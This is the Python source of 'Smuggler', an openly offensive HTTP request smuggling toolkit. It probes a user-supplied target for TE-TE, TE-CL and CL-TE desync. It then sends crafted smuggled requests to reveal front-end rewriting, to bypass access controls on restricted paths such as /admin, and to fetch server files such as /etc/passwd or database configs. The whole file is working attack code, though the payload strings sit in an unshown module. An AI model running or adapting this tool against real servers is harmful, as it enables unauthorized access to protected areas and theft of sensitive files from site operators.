smuggler.py 15 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. Smuggler (HTTP -Smuggling- Attack Toolkit) - 2020 - by psy (epsylon@riseup.net)
  5. You should have received a copy of the GNU General Public License along
  6. with PandeMaths; if not, write to the Free Software Foundation, Inc., 51
  7. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  8. """
  9. import sys, socket, ssl
  10. VERSION = "v:0.2b"
  11. RELEASE = "27042020"
  12. SOURCE1 = "https://code.03c8.net/epsylon/smuggler"
  13. SOURCE2 = "https://github.com/epsylon/smuggler"
  14. CONTACT = "epsylon@riseup.net - (https://03c8.net)"
  15. try:
  16. import payloads.payloads # import payloads
  17. except:
  18. print ("\n[Info] Try to run the tool with Python3.x.y... (ex: python3 smuggler.py) -> [EXITING!]\n")
  19. sys.exit()
  20. VULNERABLE_LIST = []
  21. def set_target():
  22. target = input("\n + Enter TARGET (ex: 'http(s)://www.evilcorp.com'): ").lower()
  23. if target.startswith("http://"):
  24. target = target.replace("http://","")
  25. port = 80
  26. SSL = False
  27. elif target.startswith("https://"):
  28. target = target.replace("https://","")
  29. port = 443
  30. SSL = True
  31. else:
  32. print("\n"+"-"*45)
  33. print("\n[Error] Target is invalid: '"+str(target)+"'\n")
  34. print("-"*45)
  35. sys.exit()
  36. method = input("\n + Enter HTTP METHOD (default: 'POST'): ").upper()
  37. if method == "GET" or method == "POST":
  38. pass
  39. else:
  40. if method == "":
  41. method = "POST"
  42. else:
  43. print("\n"+"-"*45)
  44. print("\n[Error] Method is invalid: '"+str(method)+"'\n")
  45. print("-"*45)
  46. sys.exit()
  47. path = input("\n + Enter PATH (default: '/'): ")
  48. if path == "":
  49. path = "/"
  50. return target, port, SSL, method, path
  51. def detect(final): # detect menu
  52. target, port, SSL, method, path = set_target() # set target
  53. print("\n"+"="*50 + "\n")
  54. print("[Info] Starting -HTTP Smuggling- Timing detection ...")
  55. payloads_dsync = payloads.payloads.payloads # load payloads
  56. addr = (target, port)
  57. print("")
  58. for payload in payloads_dsync:
  59. attack_type = payload.split("#")[0]
  60. payload_type = payload.split("#")[1]
  61. print("="*50)
  62. print("Trying payload: ["+str(attack_type)+"]")
  63. print("="*50+"\n")
  64. payload = method+" "+path+" HTTP/1.1\r\nHost: "+target+"\r\n"+payload_type
  65. print("+ PAYLOAD:\n")
  66. print(payload)
  67. send_payload(attack_type, payload, addr, SSL) # send each payload
  68. if final == True:
  69. show_final_results(target, port, method, path, final)
  70. else:
  71. t, p, m, pt = show_final_results(target, port, method, path, final)
  72. return t, p, m, pt, SSL
  73. def send_payload(attack_type, payload, addr, SSL):
  74. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  75. if SSL == True: # ssl
  76. ss = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_SSLv23)
  77. try:
  78. if SSL == True: # ssl
  79. ss.connect(addr)
  80. else:
  81. s.connect(addr)
  82. except:
  83. print("-"*45)
  84. print("[Error] Generating socket... -> [PASSING!]")
  85. print("-"*45+"\n")
  86. s.close()
  87. if SSL == True: # ssl
  88. ss.close()
  89. return
  90. for i in range(0,10): # x10 tests
  91. if SSL == True: # ssl
  92. ss.send(payload.encode('utf-8'))
  93. else:
  94. s.send(payload.encode('utf-8'))
  95. datas=""
  96. while 1:
  97. if SSL == True: # ssl
  98. data = ss.recv(1024)
  99. else:
  100. data = s.recv(1024)
  101. if not data:
  102. break
  103. datas += str(data.decode('utf-8'))
  104. print("\n+ REPLY:\n")
  105. print(str(datas))
  106. resp_c=0
  107. resp=""
  108. wait=False
  109. for line in datas.split('\n'):
  110. if "502" in line or "404" in line or "405" in line:
  111. wait=False
  112. resp_c+=1
  113. else:
  114. wait=True
  115. if not wait:
  116. resp += line+'\n'
  117. print("-"*45)
  118. if resp_c > 0:
  119. print ("PAYLOAD: ["+str(attack_type)+"] is WORKING! ;-)")
  120. VULNERABLE_LIST.append(attack_type) # add attack type for results
  121. else:
  122. print ("PAYLOAD: ["+str(attack_type)+"] is NOT working...")
  123. print("-"*45+"\n")
  124. s.close()
  125. if SSL == True: # ssl
  126. ss.close()
  127. def show_final_results(target, port, method, path, final):
  128. print("="*50)
  129. print("\n+ Detection RESULT: -HTTP Smuggling- Timing Attack\n")
  130. print("-"*45+"\n")
  131. print(" - TARGET: "+str(target)+":"+str(port))
  132. print(" - Method: "+str(method))
  133. print(" - Path : "+str(path))
  134. TETE = False
  135. TECL = False
  136. CLTE = False
  137. if VULNERABLE_LIST:
  138. print("\n - STATUS: [ VULNERABLE !!! ]\n")
  139. for v in VULNERABLE_LIST: # resume vulnerable payloads found
  140. if v.startswith("TE-TE") and TETE == False: # TE-TE
  141. print(" * [TE-TE]: [Front-end: Transfer-Encoding] <-> [Back-end: Transfer-Encoding]")
  142. TETE = True
  143. elif v.startswith("TE-CL") and TECL == False: # TE-CL
  144. print(" * [TE-CL]: [Front-end: Transfer-Encoding] <-> [Back-end: Content Length]")
  145. TECL = True
  146. elif v.startswith("CL-TE") and CLTE == False: # CL-TE
  147. print(" * [CL-TE]: [Front-end: Content-Length] <-> [Back-end: Transfer-Encoding]")
  148. CLTE = True
  149. else:
  150. pass
  151. else:
  152. print("\n - STATUS: [ NOT VULNERABLE ]")
  153. print("\n"+"="*50+"\n")
  154. sys.exit() # exit when not vulnerable!
  155. if final == False: # keep exploiting
  156. return target, port, method, path
  157. print("\n"+"="*50+"\n")
  158. def exploit(): # exploit menu
  159. exploit = input("\n+ SELECT EXPLOIT:\n\n (0) Verify Reading (Back-End)\n (1) Reveal Rewriting (Front-End)\n (2) Bypass ACLs (Front-End)\n (3) Fetch Files (Back-End)\n\n")
  160. if exploit == "0": # verify acccess (back-end)
  161. exploit_verify()
  162. elif exploit == "1": # reveal (front-end)
  163. exploit_reveal()
  164. elif exploit == "2": # bypass (front-end)
  165. exploit_bypass()
  166. elif exploit == "3": # fetch files (back-end)
  167. exploit_steal()
  168. else: # exit
  169. print ("[Info] Not any valid exploit selected... -> [EXITING!]\n")
  170. sys.exit()
  171. def send_exploit(addr, SSL, exploit):
  172. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  173. if SSL == True: # ssl
  174. ss = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_SSLv23)
  175. try:
  176. if SSL == True: # ssl
  177. ss.connect(addr)
  178. else:
  179. s.connect(addr)
  180. except:
  181. print("\n"+"-"*45)
  182. print("[Error] Generating socket... -> [PASSING!]")
  183. print("-"*45+"\n")
  184. s.close()
  185. if SSL == True: # ssl
  186. ss.close()
  187. return
  188. for i in range(0,2): # send exploit twice
  189. if SSL == True: # ssl
  190. ss.send(exploit.encode('utf-8'))
  191. else:
  192. s.send(exploit.encode('utf-8'))
  193. datas=""
  194. while 1:
  195. if SSL == True: # ssl
  196. data = ss.recv(1024)
  197. else:
  198. data = s.recv(1024)
  199. if not data:
  200. break
  201. datas += str(data.decode('utf-8'))
  202. print("\n+ REPLY:\n")
  203. print(str(datas))
  204. def exploit_verify():
  205. print("\n"+"="*50 + "\n")
  206. print("[Info] Trying to verify injections (generating Back-End errors)...")
  207. target, port, method, path, SSL = detect(False) # set target
  208. addr = (target, port)
  209. print("\n"+"-"*45)
  210. exploits_dsync = payloads.payloads.exploits # load exploits
  211. smuggled_method = payloads.payloads.methods # load methods
  212. for v in VULNERABLE_LIST:
  213. for exp in exploits_dsync:
  214. if exp.split("#")[0] in v:
  215. for s in smuggled_method:
  216. if s.split("#")[0] == "0": # verify reading
  217. s = s.replace("$method", method)
  218. s = s.replace("$path", path)
  219. s = s.replace("$target", target)
  220. smuggled = s.split("#")[1]
  221. exploit = exp.split("#")[1]
  222. exploit = exploit.replace("$method", method)
  223. exploit = exploit.replace("$path", path)
  224. exploit = exploit.replace("$target", target)
  225. content_length = 5
  226. exploit = exploit.replace("$CL", str(content_length))
  227. exploit = exploit.replace("$SMUGGLED", smuggled)
  228. print("\n"+"="*50+"\n")
  229. print("+ PAYLOAD MODE: ["+str(exp.split("#")[0])+"] \n")
  230. print(str(exploit))
  231. send_exploit(addr, SSL, exploit) # send expoit
  232. def exploit_reveal():
  233. print("\n"+"="*50 + "\n")
  234. print("[Info] Trying to reveal Front-End rewriting...")
  235. target, port, method, path, SSL = detect(False) # set target
  236. addr = (target, port)
  237. print("\n"+"-"*45)
  238. parameter = input("\n + Enter PARAMETER reflected (ex: 'q', '_username', ...): ")
  239. exploits_dsync = payloads.payloads.exploits # load exploits
  240. smuggled_method = payloads.payloads.methods # load methods
  241. for v in VULNERABLE_LIST:
  242. for exp in exploits_dsync:
  243. if exp.split("#")[0] in v:
  244. for s in smuggled_method:
  245. if s.split("#")[0] == "1": # reveal rewriting
  246. s = s.replace("$method", method)
  247. s = s.replace("$path", path)
  248. s = s.replace("$target", target)
  249. s = s.replace("$parameter", parameter)
  250. content_length = len(parameter)+2+50
  251. s = s.replace("$CL", str(content_length))
  252. smuggled = s.split("#")[1]
  253. exploit = exp.split("#")[1]
  254. exploit = exploit.replace("$method", method)
  255. exploit = exploit.replace("$path", path)
  256. exploit = exploit.replace("$target", target)
  257. exploit = exploit.replace("$parameter", parameter)
  258. content_length = 5
  259. exploit = exploit.replace("$CL", str(content_length))
  260. exploit = exploit.replace("$SMUGGLED", smuggled)
  261. print("\n"+"="*50+"\n")
  262. print("+ PAYLOAD MODE: ["+str(exp.split("#")[0])+"] \n")
  263. print(str(exploit))
  264. send_exploit(addr, SSL, exploit) # send expoit
  265. def exploit_bypass():
  266. print("\n"+"="*50 + "\n")
  267. print("[Info] Trying to bypass Front-End ACLs...")
  268. target, port, method, path, SSL = detect(False) # set target
  269. addr = (target, port)
  270. print("\n"+"-"*45)
  271. restricted = input("\n + Enter RESTRICTED ZONE (ex: '/admin', /wp-admin/, ...): ")
  272. exploits_dsync = payloads.payloads.exploits # load exploits
  273. smuggled_method = payloads.payloads.methods # load methods
  274. for v in VULNERABLE_LIST:
  275. for exp in exploits_dsync:
  276. if exp.split("#")[0] in v:
  277. for s in smuggled_method:
  278. if s.split("#")[0] == "2": # bypass ACLs
  279. s = s.replace("$method", method)
  280. s = s.replace("$path", path)
  281. s = s.replace("$target", target)
  282. s = s.replace("$restricted", restricted)
  283. content_length = 10 # $CL method
  284. s = s.replace("$CL", str(content_length))
  285. smuggled = s.split("#")[1]
  286. exploit = exp.split("#")[1]
  287. exploit = exploit.replace("$method", method)
  288. exploit = exploit.replace("$path", path)
  289. exploit = exploit.replace("$target", target)
  290. exploit = exploit.replace("$restricted", restricted)
  291. content_length = 110 + len(restricted) # $template CL exploit + user path
  292. exploit = exploit.replace("$CL", str(content_length))
  293. exploit = exploit.replace("$SMUGGLED", smuggled)
  294. print("\n"+"="*50+"\n")
  295. print("+ PAYLOAD MODE: ["+str(exp.split("#")[0])+"] \n")
  296. print(str(exploit))
  297. send_exploit(addr, SSL, exploit) # send expoit
  298. def exploit_steal():
  299. print("\n"+"="*50 + "\n")
  300. print("[Info] Trying to fetch files (via Back-End) from server...")
  301. target, port, method, path, SSL = detect(False) # set target
  302. addr = (target, port)
  303. print("\n"+"-"*45)
  304. files = input("\n + Enter FILE (ex: '/etc/passwd', '/server/config_db.php', ...): ")
  305. exploits_dsync = payloads.payloads.exploits # load exploits
  306. smuggled_method = payloads.payloads.methods # load methods
  307. for v in VULNERABLE_LIST:
  308. for exp in exploits_dsync:
  309. if exp.split("#")[0] in v:
  310. for s in smuggled_method:
  311. if s.split("#")[0] == "3": # fetch files
  312. s = s.replace("$method", method)
  313. s = s.replace("$path", path)
  314. s = s.replace("$target", target)
  315. s = s.replace("$files", files)
  316. content_length = len(files)+2 # p=len(files)
  317. s = s.replace("$CL", str(content_length))
  318. smuggled = s.split("#")[1]
  319. exploit = exp.split("#")[1]
  320. exploit = exploit.replace("$method", method)
  321. exploit = exploit.replace("$path", path)
  322. exploit = exploit.replace("$target", target)
  323. exploit = exploit.replace("$files", files)
  324. content_length = 1
  325. exploit = exploit.replace("$CL", str(content_length))
  326. exploit = exploit.replace("$SMUGGLED", smuggled)
  327. print("\n"+"="*50+"\n")
  328. print("+ PAYLOAD MODE: ["+str(exp.split("#")[0])+"] \n")
  329. print(str(exploit))
  330. send_exploit(addr, SSL, exploit) # send expoit
  331. def print_banner():
  332. print("\n"+"="*50)
  333. print(" ____ __ __ _ _ ____ ____ _ _____ ____ ")
  334. print("/ ___|| \/ | | | |/ ___|/ ___| | | ____| _ \ ")
  335. print("\___ \| |\/| | | | | | _| | _| | | _| | |_) |")
  336. print(" ___) | | | | |_| | |_| | |_| | |___| |___| _ < ")
  337. print("|____/|_| |_|\___/ \____|\____|_____|_____|_| \_\ by psy")
  338. print('\n"HTTP -Smuggling- (DSYNC) Attacking Toolkit"')
  339. print("\n"+"-"*15+"\n")
  340. print(" * VERSION: ")
  341. print(" + "+VERSION+" - (rev:"+RELEASE+")")
  342. print("\n * SOURCES:")
  343. print(" + "+SOURCE1)
  344. print(" + "+SOURCE2)
  345. print("\n * CONTACT: ")
  346. print(" + "+CONTACT+"\n")
  347. print("-"*15+"\n")
  348. print("="*50)
  349. # sub_init #
  350. print_banner() # show banner
  351. option = input("\n+ CHOOSE: (D)etect or (E)ploit: ").upper()
  352. print("\n"+"="*50)
  353. if option == "D": # detecting phase
  354. detect(True) # only detect
  355. elif option == "E": # trying to exploit
  356. exploit()
  357. else:
  358. print("\n"+"-"*45+"\n")
  359. print("[Smuggler by psy (https://03c8.net)]\n\n Bye! ;-)\n")
  360. sys.exit()